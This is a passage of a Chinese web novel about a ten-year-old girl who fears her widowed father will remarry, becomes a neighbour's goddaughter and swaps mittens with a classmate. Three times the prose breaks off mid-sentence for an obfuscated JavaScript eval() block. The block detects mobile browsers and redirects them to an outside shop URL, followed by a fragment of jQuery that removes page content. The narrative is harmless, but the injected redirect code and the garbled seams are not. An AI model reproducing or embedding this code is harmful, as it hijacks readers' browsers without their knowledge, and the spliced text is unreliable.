但她不知道,如果爸爸真的想再娶,她该不该强烈反对呢,万一后妈人不错呢?爸爸一个人也是挺苦的。但如果碰上了不好的后妈,苦的就是她和弟弟了…… 闹钟准时响起。 程守萍睁开眼才发现已经早上了。自己想着想着,不知什么时候就睡着了。 她一把按停小闹钟,看了看弟弟,没动。另外一边的小床上,爸爸翻了个身。 这是她为晨跑设的闹钟,特地用碎布做了两个小小的套子,夹层里填上旧棉花,临睡前把铃帽包裹住,抽绳系紧,这样敲起闹铃来声音就是闷闷的,放在她枕边能唤醒她,但不会吵醒同屋的爸爸和弟弟。 她起身穿衣,把铃帽上的套子拿走,闹钟重新设定成爸爸和弟弟起床的时间。 穿上校服,戴上手套,她出门晨跑。 晨跑让她的思路变得清晰起来,首先第一步就是确定爸爸的想法,如果爸爸真的有想法再找,她就要积极参与进去,这个后妈她是一定要把关的。 回到家,她快速擦洗了一下,换身干净的棉毛衫裤,把换下来的衣服放点水泡起来。走出卫生间的时候,爸爸已经起床,喊着宏宏让他赶紧起来穿衣服。 宏宏已经会自己穿衣服了,不过冬天的衣服比较难穿,尤其是绒线衫的领子织得比较高,也比较紧窄,卡在他头上拉不下来,他在绒线衫里什么都看不见,急得大喊:“爸爸,爸爸!” 程根生过来帮他把衣领往下拽,好不容易他才把小脑袋钻出来,头发乱糟糟的,小脸也是红通通的。 接着穿绒线裤也是不容易,裤子为了保暖织得紧,一往上拉就要连里面的棉毛裤一起拉上去了。程根生先替他穿上袜子,把棉毛裤下端包在袜子里,靠着袜子的摩擦力拉住棉毛裤,不让它往上缩。 宏宏使劲蹬着小脚丫,把绒线裤拉到大腿上就拉不动了,程根生替他把余下的裤子都推上去,把小家伙抱下床,提溜着裤腰往上拎。 宏宏整个人都给拽离地了,抓着爸爸的胳膊“咯咯”直笑。 程根生也不由得笑,继续提溜着儿子轻轻颠几下,直到绒线裤都拉上来了,才把他放回床上,让他自己穿上外裤。鞋子宏宏也会自己穿,到这步就不用程根生帮什么忙。 他走到外间,程守萍正把昨晚剩下的烤红薯放锅里,加少量水用小火烤热,同时在另一边的灶头上下面条,煮的差不多了再把昨晚从食堂带回来的剩菜倒进去一起加热。 程根生看着这简陋的早饭,忽然有点心酸,女儿带去学校的午饭也是昨晚在食堂买的。一天两顿吃的都是隔夜菜,只有晚饭一顿是在食堂现买的。 要是有妈妈在,她至少能吃到当天现做的新鲜饭菜。也能花更多心思与时间在学习上,而不是花在这些家务上。 他现在还能带着宏宏去厂里食堂吃早饭、晚饭,等宏宏开始上学,就也要在家里吃早饭了,午饭也得像姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17061818|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐一样在学校吃隔夜的饭菜。 他轻咳一声:“萍萍。” 程守萍刚把煮面的火关了,闻声转头看向爸爸。当看到他脸上郑重的神色,她不由心头一跳,要来了吗? 程根生被她的双眼一望,一时之间不知道该怎么去开这个口问她,尤其是她眼中的神色,让他莫名心虚起来,感觉就不该在这时候提这个事。 他又咳嗽一声,说:“以后每个月给你一块零花钱好不好?” 程守萍:“……” 是为了说服她找后妈,先用零花钱收买她? “爸爸,你怎么会突然想到给我零花钱?”她往桌上放了个隔热的锅垫,然后端着煮面的小铝锅放上去。“家里不是要存钱还债吗?” “那个……债都还得差不多了。你也长大了,爸爸觉得你应该有点零花钱了。”说完程根生从口袋里摸出纸币,抽出几张毛票,凑成一元放在桌上,“这个月的给你,以后每个月的零花钱,爸爸发工资了就给你。” 说完也不等她再说什么,走到水斗边放水,挤牙膏。 “谢谢爸爸。” 程根生含着牙刷,模模糊糊地“嗯”了一声。 程守萍夹起一筷子面条吹凉,左手把毛票对折放进裤袋。看爸爸这样子,找后妈这事儿应该还是会和她商量的,早晨匆匆忙忙的,也确实不是摊开来谈这种事的时机,那就等他先开这口吧。 - 这星期北方有寒流过来,程家姐弟都穿上了新棉衣。 樊阿姨推荐的老裁缝,手艺果然是没话讲,品味也是很独到。 棉衣是收腰的短款军大衣式样,长度到膝盖上方一点。大翻领,肩膀上有类似肩章的装饰,腰线的位置甚至还做了假腰带。穿起来非但不觉臃肿,还显得整个人都拔高了,特别有精神。 这款式再加上用的是浅褐色的细灯芯绒面料,格外洋气,说是商场里买的新大衣都有人信。 围上末端带着雪花图案的钴蓝色围巾,程守萍用指尖理了理过耳的短发,镜子里的少女双眸明澈,清丽可人。 宏宏的棉衣也是同款同面料,但选了墨绿色,也比姐姐的更长些,看上去就更像军大衣了。 试衣的时候,他对着镜子里的小小身影,一本正经地行了个军礼。逗得老裁缝都笑了起来。 程守萍穿着新棉衣进教室的时候,引来了众人瞩目。 她以往总是穿着洗旧的校服,似乎一年四季都是那一身,今天突然穿成这样就打眼得很。 也是因为她进教室时,脸上带着自然的微笑,双眸里有光彩,与同学们印象里那个冷漠疏离,总是低着头匆匆来去的少女截然不同。 她刚在座位上坐下,蔡琳玲就急不可耐地问她:“新买的衣服?在哪儿买的?怎么那么好看啊!” 程守萍摘下手套放进书包,拿出课本与铅笔盒:“不是买的,找裁缝做的。” “啊!裁缝做得衣服不都是老土老土的吗?”蔡琳玲大感意外,艳羡的目光在程守萍的衣服上流连,“真的是好看,我也想做这样的。” 有好几个坐前排的男同学偷偷回头打量程守萍,做贼似的瞄一眼,赶紧把眼睛转开,隔了没多久又偷偷瞄一眼。 蔡琳玲侧头盯着程守萍看了半天,忽然说:“我觉得你最近变好看了。” “是吗?”程守萍摸了摸脸,可能最近坚持运动的关系,胃口变好了,吃得比以前多,脸颊渐渐丰润,不再干瘪瘪的,气色也好了许多。 “是真的,我也说不清楚,但就是觉得比以前好看很多。” 蔡琳玲拍了拍前排两人的肩膀:“喂,你们说呢?” 19. 【后妈】2 王新宇回头看了会儿程守萍,说:“我觉得差不多啊。” 蔡琳玲冲他翻了个白眼:“问你也是白问。” 她又拍了下沈继舟:“问你呢。” 沈继舟没回头:“我也觉得,她和以前差不多。” 蔡琳玲简直无语了:“问你们两个都是白问。” - 午间吃完饭,程守萍略作休息后便开始写作业,时不时因为手太冷而停下,用力搓磨双手,让指尖没那么冰冷了之后再继续写。 前排的沈继舟突然幽幽冒出一句:“你不是说找邻居阿姨帮你织手套了吗?” 程守萍:“?” 他在说什么呢? “手套我不是戴着来学校的吗?”那双和她的围巾同款的钴蓝色手套。 沈继舟回头,盯了眼她握笔的手:“我是说写字的时候戴的。” 程守萍这才想起上回的事,她为了拒绝他送的手套,说樊阿姨已经在替她织了。 “已经一个多星期了。”沈继舟继续提醒她。 程守萍头也不抬地继续写作业:“樊阿姨也有孩子啊,总要先织了他们的,才能有空帮我织啊。” 从前排丢过来一双天蓝色的露指手套。 “借你的。等你有手套了再还我。” 程守萍:“……” 她看了眼少年的背影,没再说什么,嘴角却不由自主地向上勾起。 真戴上了才发现这双手套是开司米的,羊绒的触感极为细腻柔软,看起来又轻又薄,但戴上手不一会儿就觉得暖和起来。 - 程守萍等着爸爸开口和她说找后妈的事,可等了好几天也没等到。 爸爸每天晚上培训完,倒总是变着花样地买夜点心回来给她吃,今天油酥饼,明天定胜糕,有时候是茶叶蛋、桂花赤豆粥、糯米塞藕、青菜豆干馅的包子…… 再被这么投喂下去,程守萍觉得自己肯定要发胖了,索性就把点心留到第二天早上当早点。 一向节省到有点抠门的爸爸居然变得这么肯花钱了!虽然那些小点心也不贵,大多是几分,贵点的也就一毛钱左右,但爸爸这种突然的转变,总让她觉得有所企图。是为了娶后妈的事,预先放几个糖衣炮弹? 俗话说拿人的手短,吃人的嘴软。老程同志难不成打算用零花钱和美食堵住她的嘴? 这天晚上,老程同志买了小馄饨回来,为此还特地拿着个带盖的小铝锅去,锅把上系着提绳,汤水滚烫也不怕,拎上就能走。 回家打开锅盖,热气腾上来,带着香油虾皮紫菜的独特鲜香气味,汤里还飘着金黄的蛋皮丝、碧绿的葱花粒。 小馄饨吃的就是这个汤头,放久了要糊掉,只能现吃。 程守萍拿出两只碗,连汤带馄饨分成两份,父女俩对坐吃馄饨。 程守萍心想,这架势总该是要开口了吧。没想到爸爸很专心地低头吃馄饨,一句话都没有。 她想想总不能这么一直拖下去,爸爸不开口就由她来开这个口:“爸爸,我们班有个同学,原先爸爸妈妈离婚了,后来他爸爸给他找了个后妈。” 程根生动作顿了顿,抬眸看她一眼,什么都没说,一口吃掉碗里最后一个小馄饨。 程守萍便继续往下说:“他和我们说,后妈对他也不是不好,但是管住了他爸爸的钱,他现在不管吃的还是用的,想要什么都要先和后妈说,后妈同意了才会给他买。家里很多规矩也跟着变了,都是后妈定下的,他爸爸只会同意,从来没有说过一个不行。” “他最近特别担心,因为后妈好像要有新小囡了。” 程根生正喝着馄饨汤呢,听到这句顿时呛住。 “爸爸,你呛到了?”程守萍没想到这句让他反应这么大,急忙站起来跑到他身边,替他抚着后背。 程根生朝她摆摆手示意没事,但还是连着咳了十几下,缓了好一会儿才喘匀了气。 程守萍心有余悸地替他拍着后背顺气:“爸,你还好吗?”早知道他反应这么大就等吃完再说这件事了。 程根生清了清嗓子,总算能开口了:“没事,不小心呛了一下,就是口汤,咳出来就好了。你快点吃吧,小馄饨要糊了。” 程守萍看他真没事,才回到自己那边坐下。这会儿小馄饨已经不烫了,她连汤带水一口一个快速吃完,连同爸爸的碗一起放进空铝锅。 程根生站起来,伸手来拿锅子:“这个爸爸来洗。你读英语吧。” 程守萍抢先拿走锅子,放进水斗里:“我现在功课不紧张,英语也读好了,还是我来洗吧,爸爸你抓紧背考试资料。” 她正洗着碗呢,听见爸爸对她说:“萍萍,你不要多想,那个……不会的。” 她垂着头,“嗯”了一声。 只要家里有新成员加入,目前的平稳生活就会被打破,是会更好还是更糟不好说,但她和弟弟人小言轻,一定比不上两个成年人所做的决定。 也许有点对不起爸爸,但现在她和宏宏年纪都太小了,很多事情都要靠父母做主。后妈也是妈,她和宏宏都要听她的话才行。 她宁可多承担些家务,也不愿意整天和一个成年人斗智斗勇。 搏一把后妈特别好,真把她们当亲生小囡养的几率?概率太低,她不想试。 虽然爸爸说不会再找,但她还是不太放心,第二天正逢周六傍晚,她带弟弟回家,上楼时先去樊阿姨家敲敲门。 樊阿姨开的门,瞧见程守萍便笑着招呼她:“是萍萍和宏宏啊,晚饭吃了伐?没吃的话进来坐一歇,阿姨下面给你们吃。” “樊阿姨,我们在食堂吃过了。”程守萍微笑,“我带弟弟过来,是谢谢你替我们织的那么多绒线衫和绒线裤。” 她在回来的路上预先教过宏宏。听姐姐这么说,宏宏也跟着一起道谢:“谢谢樊阿姨。” 樊美娟笑意更浓,摆着手道:“这有啥好谢的,我下了班本来也没事做。” 程守萍摇摇头:“阿姨上班已经很辛苦了,回家还要做饭做家务,你能抽得出空来帮我们织那么多绒线衫真的很不容易。” 樊美娟想不到这十来岁的小囡竟然这么懂她,感动之余也觉程家大女儿真是懂事:“阿姨又不是白白帮你们织的,你爸爸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17066655|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了绒线钱,也给了烟票的。” 厨房里坐着看报纸的老张听见了:“啊?什么烟票?” 樊美娟朝身后翻了个白眼:“我说油票,没说烟票。”回过头来没好气地嘀咕,“要他耳朵灵光的时候一点不灵光,喊他干点活,那个耳朵像聋子一样的,不要他耳朵灵光的时候来得额灵光。” 看向程守萍姐弟俩时又是满面笑容:“外面太冷了,你们先进来等,阿姨还有东西给你。” 姐弟俩进了门,嗓音清脆地叫人:“张家伯伯好!” “你们也好啊。”张高原笑了,放低报纸朝姐弟俩点了下头,继续看报纸。看了半分钟,突然回过味来:“美娟,怎么他们喊你阿姨,喊我就喊伯伯呢?” 樊美娟从里面出来,听见这句,噗嗤笑了出来:“说明我显年轻啊。你嘛,长得比较老气。小朋友么都是直来直去,实话实说的呀。” 张高原从报纸的上边缘瞅了她一眼,这个女人,逮着一点机会就要损他几句。 樊美娟笑容不减,把手里的东西递给程守萍。 程守萍低头一瞧,正是一双露指手套。 “冬天写作业手冷吧?这两天我家那两个小子吵着要我把去年织的手套找出来,我想想你肯定也要的,就找了点零碎绒线,今天刚织好,你也是来得正巧。” 樊美娟低头看向宏宏:“宏宏要不要这种手套啊,阿姨看看你这个小手有多少大,给你也织双好不好?” 程守萍不禁心中感动:“樊阿姨,你真好,样样事情都想到我们。我都不知道该怎么谢你才好。” “哎,不要那么客气。住楼上楼下的,能照应就照应一下嘛。” 被程家小囡这样感谢,樊美娟倒有些不好意思起来,程家两个小囡都挺讨人欢喜的,长得乖巧可爱,嘴又甜,见面一口一个阿姨好,谢谢阿姨,阿姨再见。 不过说到底还是老程够上路,帮过他一两次忙,就又给烟票,又给油票肉票的。她总不能白拿他那么多票。 “你们一家也不容易,你爸爸一个人养两个小囡已经算很能干了,但到底是男人家,有些小细节难免顾不上。所以我才给他说……咳咳,所以我给那两个小子准备了什么,就给你们也准备一份呗。” 程守萍来道谢其实是借口,虽然她确实很感谢樊阿姨为他们做的这些事,但她最主要的目的还是打听爸爸那个“对象”的事。 这会儿刚好樊阿姨说漏了嘴,她就趁机问了:“樊阿姨,你是不是给我爸爸介绍对象了呀?他怎么跟你说的?” 樊美娟愣住,随后尴尬地笑了笑:“你知道啦?萍萍,你不要怪我多事啊,我也是好意,家里少个女人操持,总归是差一点,就像小汽车四只轮盘,少一只就变三轮车了,三轮车开是能开的,哪有四只轮盘的开得快啊?” 程守萍摇摇头:“我没有怪阿姨,我知道阿姨出发点是好意。我只想知道我爸爸是怎么回复你的?” 闻言樊美娟稍稍安心,想想萍萍都知道这事了,也没啥好瞒的:“我每次问老程,他都说再想想,到现在都没给我个准信。萍萍,你呢?这事你是怎么想的?” 20. 【认干妈】 程守萍听到樊阿姨这么问,也就直说了:“阿姨,你一直挺关心我们的,我就跟你说句实话,我是不想要后妈的。” “我们家里人少,日子也过得简单,但我觉得如今这样的日子挺好的。我偶尔也会想妈妈,但不是因为妈妈能煮饭,能织绒线,能让我活得更轻松。我只是……单纯地想念她。” “我可以多做点家务,也可以照看好弟弟。我不需要再有个后妈来照顾我们。如果爸爸真的想要再找一个,那也只是对他有好处,不是对我和弟弟有好处。” “如果后妈和爸爸有了新的小囡,就算她表面上做得再公平,假如我或者弟弟和新弟弟妹妹吵起来,甚至打起来了,她的心肯定会偏向自己亲生的小囡,这是做妈妈的天性。” 樊美娟被这一席话说得哑口无言,她没想到,一个十岁的小囡会在这件事情上看得这么清楚。 如果是宏宏那样的年纪,对亲妈没多少记忆,也就更容易接受新妈妈的照看。 但萍萍已经十岁了,她会记得自己的妈妈,而新妈妈是永远无法代替亲妈在她心里的地位的。反过来说,后妈心里面,这两个小囡也永远和亲生的有区别。能做得到完全公平吗? 连她自己两个亲生儿子,她已经尽量给他们相等的照顾了,就这样,两个臭小子还会埋怨她偏心另一个,换成后妈和继子女,还不知道要闹成什么样子呢。 哎,往后这事儿啊,她还是不管了吧。反正老程那边也不热络,每次都是她主动问起,他才回一句“再想想”。 程守萍见樊美娟面色不大好看,一脸好心好意却没人领情的懊恼表情,便上前拉住她的手,轻轻晃了晃:“樊阿姨,你不会怪我和你讲实话吧?我是怎么想,就怎么说了。但我真的很感激你对我们家的关心,我妈妈不在了,樊阿姨是最像我妈妈的人了。阿姨你千万千万不要生我气啊。” “哎……” 樊美娟没想到能听见这一番话,被小姑娘拉着手,温言软语地恳求着,她的心早就软下来了。又听萍萍说自己是最像她妈妈的人了,她又是感动,又是可怜这小囡早早没了娘,眼泪都差点掉下来,心里头那点懊恼情绪早就烟消云散,哪里还会怪她呢。 “萍萍,你也是不容易的。这么点点大的小囡要操心家里家外那么多事,功课还能学得那么好。” 樊美娟是真心可惜这么好的小囡不是自家养的,自家两个戆儿子犟头倔脑的只会惹人生气,哪有懂事乖巧的女小囡贴心啊。 拉起萍萍的手捏了捏,想起她方才说的那句话,樊美娟忽然起意:“萍萍,做我过房女儿好不好啊?” 程守萍一时没反应过来,愣愣望着樊阿姨,怎么就突然认起干亲来了呢?这都是前一世没有的事啊,难道是因为自己那一句话像妈妈的话触动她了? 不过转念一想,这也不是坏事,樊阿姨热心肠,人又勤快能干,要是认了干亲,自己就有干妈撑腰,万一爸爸真找了后妈,又万一后妈真的不好,至少还有干妈为她说话,不至于落到孤立无援的地步。 想明白这层,她朝樊阿姨笑了,点头应道:“好的,我愿意的。” 一直在旁边看报纸的张高原突然咳了一声。 樊美娟回头白他一眼:“怎么?我收过房女儿,你有意见?” “我?我肯定是没有意见的。”张高原放下报纸,“但是嘛,这件事归根结底是要问老程的。你们两个剃头担子一头热,是不行的。” “这还用你说?我会不知道吗?肯定是要老程点头才行得通啊。” 樊美娟看回程守萍,笑嘻嘻的:“萍萍啊,回去先问问你爸爸,假如他不同意呢,你来和阿姨讲,阿姨去跟他好好说。” 这天晚上,程根生从培训班回来,程守萍就把樊阿姨的提议告诉了他。 程根生也是意外,樊美娟前两天还一门心思要给他介绍对象的,今天就说要认干亲了?一桩接着一桩,让他有点回不过神。 他想了一晚上,没想到这事有什么坏处。两家本来就处得挺好,最近又走得更近了,樊美娟和老张都是好人,也帮过他不少忙,要是结了干亲,两家就会更亲近。 樊美娟家庭和睦,夫妻双全,又有两个儿子,是有福气的女人。可能也是和萍萍有缘分,才会想要收她做干女儿,只要女儿也愿意的话,程根生觉得这事能行。 星期天一早,程根生出门买了一网兜苹果,送到老张家,说明愿意让女儿认干亲。樊美娟高兴得不得了,这就开始选日子,准备正式拜干妈干爸了。 吃过午饭,程根生去厂里上培训班。程守萍功课做完,也没什么别的事,瞧着天气不错,就带宏宏去家附近的公园玩。 公园旁边就是孔庙,孔庙外一条由巴掌大的石块铺就的古道,道旁有古树参天,再往前有片草坪,连接着公园的湖泊。 公园和孔庙都是收门票的,但外面这条古树道和大片草坪不要票。 程家姐弟所谓的“去公园玩”,其实就是在外围的草坪上玩。 一到星期日,这片草坪上就有不少孩子和家长,加上今天天气好,人就更多了。 宏宏双脚一踩上草地,就甩开了姐姐的手,欢呼一声,像小狗撒欢一样跑了起来。 他也不是直线跑,一边蹦蹦跳跳地奔跑,一边绕开草地上玩耍的其他小朋友和家长,总之就是哪里有空就往哪里跑,没有目的地,纯粹是跑得开心。 程守萍好笑地望着他,就让他先跑个畅快,把体力消耗掉一点。 她原地找了块能晒到太阳的地方,在青石台阶上摊开条旧手帕,坐下,只有双眼始终盯着宏宏,确保他在安全范围内活动。 草坪上欢笑声、说话声此起彼伏,颇为嘈杂,但她还是听到了熟悉的声音,是机械快门的“咔嚓”声。 回头看一眼,数米外的少年端着相机,似乎正在寻找拍摄目标,并未发现她也在这里。 她继续看回宏宏,还是得盯着弟弟,别让他跑远了。 宏宏跑了一阵,似乎找到了愿意一起玩的小伙伴,两个小子头对头,撅着屁股趴在地上,玩起了玻璃弹珠。 再回头,沈继舟已经走远了,身影在一颗古树附近若隐若现,大概是拍完照要回去了吧。 她重新望向宏宏所在,他正捏着一颗玻璃弹珠,专心致志地瞄准地上另一颗,拇指用力一弹,弹珠飞出,落地,滚动,停下时离地上的小坑洞还有一掌距离。 宏宏懊恼地嘟嘟嘴。另一个男孩则欢呼一声,拾起自己的弹珠瞄准宏宏的。 宏宏紧张地捏起双拳,生怕自己的弹珠被打中。幸好那男孩失手了,而且因为攻击失利,他的弹珠离坑洞更远了。 宏宏搓搓小手,拿起弹珠放在嘴前呵气,作为出手前的神秘仪式,就好像呵出的这一口气能够带来好运似的。 也不知道是不是神秘仪式应验了,宏宏的弹珠一路弹跳滚动,最后滚进坑洞底部,转了两圈,停住不动了。 宏宏高高跳起,欢呼胜利。程守萍亦不由微笑。 耳边又响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17070307|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快门声,她讶然回头。 沈继舟手里托着相机,朝她绽开一个灿烂的笑容。 程守萍亦不由笑,朝他招手,示意他过来。 她还得看着宏宏,不敢大意。前世听过太多人贩子诱拐、偷抢小囡的故事,真是眼睛一眨人就不见了,让父母、亲人痛悔一生。虽然这年头民风还算淳朴,但类似的事件也不是没有。 沈继舟在她身边坐下。 程守萍问他:“你刚才拍了什么?” “拍那个打弹子的小孩。” 程守萍乐了:“那是我弟弟。” 沈继舟让她别告诉宏宏,又接连拍了好几张宏宏玩耍的照片。 宏宏又赢了那小孩一颗玻璃弹珠,小孩当场气哭,不愿再和宏宏玩了。 “姐姐快看,这颗是彩色的!” 宏宏高举着他的战利品回来献宝,瞧见坐在姐姐右手边的少年,他就朝姐姐左侧胳膊靠了过去,小小声地问:“姐姐,他是谁啊?”一边问还一边偷瞄人家。 程守萍掏出手帕给他擦汗:“他是我同班同学,你叫他沈家哥哥就好。” 宏宏就乖乖地喊了声“沈家哥哥”,然后对着程守萍恳求:“姐姐,我想去坐船,我们坐船好不好?” 他们所处的草坪就在公园旁边,和公园共享这一片湖水,可以看到游客在湖面上划船。 程守萍摇头:“我没带钱,下次等爸爸和我们一起出来的时候再坐船吧。” 沈继舟立即说:“我带钱了。” 程守萍回头瞪他一眼。 沈继舟:“……”他说错什么话了吗? 程守萍看回宏宏,说:“哥哥的钱是他自己的,姐姐没带钱,我们下次再坐船。” 宏宏虽然满脸失望,但还是点点头。 程守萍从网兜拿出皮球,说:“我们来玩保龄球吧。” 宏宏的注意力被这新鲜的叫法给转移了,立即将不能坐船的失望抛到九霄云外:“是什么是什么?怎么玩啊?” 程守萍在草地上插一排短树枝,一共五根。让宏宏站在十米开外,用滚动的皮球去击倒树枝。每人滚两次,按击倒的树枝来算分,谁的分多谁赢。 宏宏滚了两次,都碰到树枝了,但每次只碰倒了一根。 程守萍顺便让他算算数。 “一加一等于二。”宏宏一边念,一边在地上摆上两块小石子,算是他的得分。 程守萍把五根树枝重新插好,走到投球线后,让宏宏去捡球。宏宏高高兴兴地跑去树枝后方。 等他跑远了,程守萍才对沈继舟说:“我不是没带钱才不让他坐船,他太小了,万一发生意外落水,我们两个谁能下水去救他?我们拉得动他吗?所以我才骗他说没带钱的。” 沈继舟恍然。 他是独生子,从没有带弟弟妹妹的经验,想不到这一层也难怪。 程守萍滚过两次球之后,宏宏抱着球回来算分:“二加三等于五。” 程守萍让他放一块较大的石头代表五分。 接着轮到沈继舟。第一次,球连树枝都没碰到就滚过去了,第二次倒是碰到了,树枝歪了歪,没倒。 宏宏抱着球回来问:“姐姐,沈家哥哥的分怎么算啊?” “简单啊,零蛋加零蛋,还是零蛋。” 宏宏小手捂着嘴,哧哧笑起来。 沈继舟不服气,还要再试,他全力一投,球滚远了,径直朝着湖边滚去。 宏宏急忙转身去追皮球。 21. 【吃独食】 眼看着皮球往湖边方向滚去,程守萍怕宏宏追得太近掉湖里,急忙朝他跑去,同时喊他停下:“宏宏,回来,别追了。” 沈继舟也紧紧追在后面。 幸好宏宏那小短腿本就跑不快,听到姐姐喊他就停下了脚步。 程守萍追上他,把他揽住。 沈继舟超过她们,继续去追皮球,奈何一开始追的时候皮球已经离他们有十几米了,靠近湖岸又是一段下斜的缓坡,皮球不断加速,最终还是滚进了湖里。 沈继舟遗憾停步,在四周寻找可以够着皮球的树枝。找了几根都是直的,没有分杈,即使勉强够着了皮球也没法往回勾。甚至一不小心还把球推远了。 他回头看看那对姐弟。宏宏一脸焦急的样子,马上就快要哭出来了。程守萍却是一脸古怪的忍笑表情。 沈继舟:“……” 程守萍劝道:“算了,别捞了,你还背着相机呢,别一个不小心自己掉下去了。” 沈继舟不肯听,还想找更长的树枝来够。 程守萍还真怕他也掉水里,便说:“你看天都快黑了,我们都该回家了。算了吧,一个皮球而已。” 沈继舟这才作罢,走近后看到宏宏懊丧欲哭的表情,他觉得格外抱歉:“别哭,我买个新的赔给你。” “真的?”宏宏眼睛一下亮了,眼角还挂着泪花呢也顾不上擦,急急地嚷道:“我想要孙悟空的皮球。” 程守萍轻轻拍他后脑勺一下:“别趁机提要求。” 沈继舟忍不住轻笑一声,说:“我一定买个有孙悟空的皮球赔给你。” “拉钩上吊,一百年不许变!”宏宏朝他伸出小手。 沈继舟用尾指勾住了他的小手指,两个人还真的一本正经地拉勾许诺了。 程守萍笑着看他们,忽然想起来一事:“沈同学,我有东西要还给你,你方便来我家吗?或者明天上学的时候我带给你。” 沈继舟略带疑惑地点点头:“我去你家吧。什么东西要还我?” “手套啊,樊阿姨织给我一双新的,你那双我可以还给你了。” 沈继舟沉默下来。 夕阳斜照,街道上的房子一半是明亮的橙黄色,一半沉没在暮影中。 宏宏因为即将得到一个心仪的新皮球而兴高采烈,一路蹦蹦跳跳地回家。他正在学说话的兴趣期,不停地指着路上的各种东西问这是啥那是啥,还有各种为什么。 程守萍耐心地回答他所有的问题,尽量用他能听懂的简单词句来解释为什么。 一路上都是姐弟俩的欢声笑语。沈继舟没再开过口。 程守萍看出他有点不愉快,但她对此也无能为力。 很快三人到了家门口,程守萍开门让沈继舟进来坐会儿。他在门外犹豫了一瞬,还是进屋了。 程守萍踩着凳子拉开吊橱的门,找出一罐乐口福。这是种类似麦乳精的冲调饮品,不过是巧克力味的,一罐要将近四块钱。这还是被厂里表彰之后,爸爸为了庆祝而买的,买是买了,平时根本舍不得吃。 唯一一次喝,就是刚买回来的那天,父女三人一人冲了一碗,还举起来碰杯庆贺了呢。 程守萍找出个杯子,先用开水烫了烫,用量勺舀出几勺乐口福,冲入开水,浓浓的巧克力甜香随着热气升腾起来。她用小铝勺搅搅匀,放到沈继舟面前。 沈继舟看了看宏宏,再看向她:“你们不喝吗?” 程守萍一脸姐早就喝腻这玩意儿的嫌弃表情:“我口渴的时候只想喝水,这东西太甜了,越喝越渴。” 然后她把狂咽口水直勾勾盯着那杯乐口福的宏宏拉回房间,叮嘱他乖乖的自己玩,答应他一会儿等沈家哥哥走了,专门冲半杯给他喝,这才让小家伙稍微平静一些。 程守萍带宏宏进屋后,沈继舟捧起杯子,轻轻吹散热气,抿一口,被甜得眯了下眼睛。 刚才怕不够礼貌所以没有四处打量,见程守萍姐弟都进屋了,他才慢悠悠地观察着这间厨房。 厨房里的陈设可称之为简陋,除了墙上的挂钟,以及桌上灰扑扑的收音机之外,就没有其他带电的东西了。灶台和灶台附近的墙面上贴着最简单的纯白瓷砖,倒是都擦得干干净净,不带半点油腻。 饭桌也是饱经风霜,油漆斑驳,上面铺的塑料桌布边缘卷曲老化,有好几道裂缝。 不一会儿程守萍从里屋出来,沈继舟也就不看了。 程守萍瞄了眼他杯子里明显下降的液面高度。上回请他吃雪糕就看出来了,他爱吃甜食。 因为还手套的事他好像不太开心,她冲乐口福的时候特意多加了两勺,调得比较甜。吃了甜的东西,心情多少会好起来一些吧。 看他这会儿的神情,像是已经释怀,甚至可以说心情不错的样子。 她把那双天蓝色手套轻轻放在他面前:“谢谢你借我手套。” 沈继舟放下杯子,舌尖舔了下嘴唇,看也没看桌上的手套,问她:“你不是说有了新手套吗?” “是啊。”程守萍意外地点点头,心说他突然问新手套干嘛?难不成以为她在说谎骗他? 果然他一脸等着她拿出手套来证明的样子。 程守萍心里暗暗嘀咕了句幼稚鬼,回房拿出新织的手套。 这双是樊阿姨用剩下的零碎绒线织的,黑、白、深蓝、浅蓝,再加上深深浅浅的灰,剩下的哪种绒线多就多织几圈,剩下的绒线少可能就只织了一两圈,因为拼接的颜色安排得好,倒也不难看。要不说是剩下的零碎绒线织得,还以为是什么特别的混色设计。 沈继舟指了指她手里的手套:“我要这双新的。” 程守萍愣了愣,没说话。 沈继舟见她没回应,便继续说道:“那双你已经戴好几天了,要还就还我新手套。” 程守萍清楚沈继舟那双天蓝色的手套是羊绒的,用起来格外仔细,小心翼翼地避免弄脏或是摩擦起球。就戴了那么几天,根本还和新的一样。 “你看好了。”她把樊阿姨织的那双手套放他面前,“这是用剩下的零碎线织的,线也是腈纶线,没你这双暖和,还硬了许多,摸一下你就知道了。” 沈继舟拿起来便放进口袋:“至少是新的没戴过。” “……”程守萍没想到他会直接收进口袋,不及阻止,只能瞪他一眼。但事已至此,她也没必要再强硬地让他换回来。 “反正我提醒过你了,这双手套比你那双要差很多。” 沈继舟端起杯子喝乐口福,垂着眼笑。 程守萍无奈地望着他。 总归她今天也拿乐口福招待过他了,以后找机会再请他吃几次零食吧。 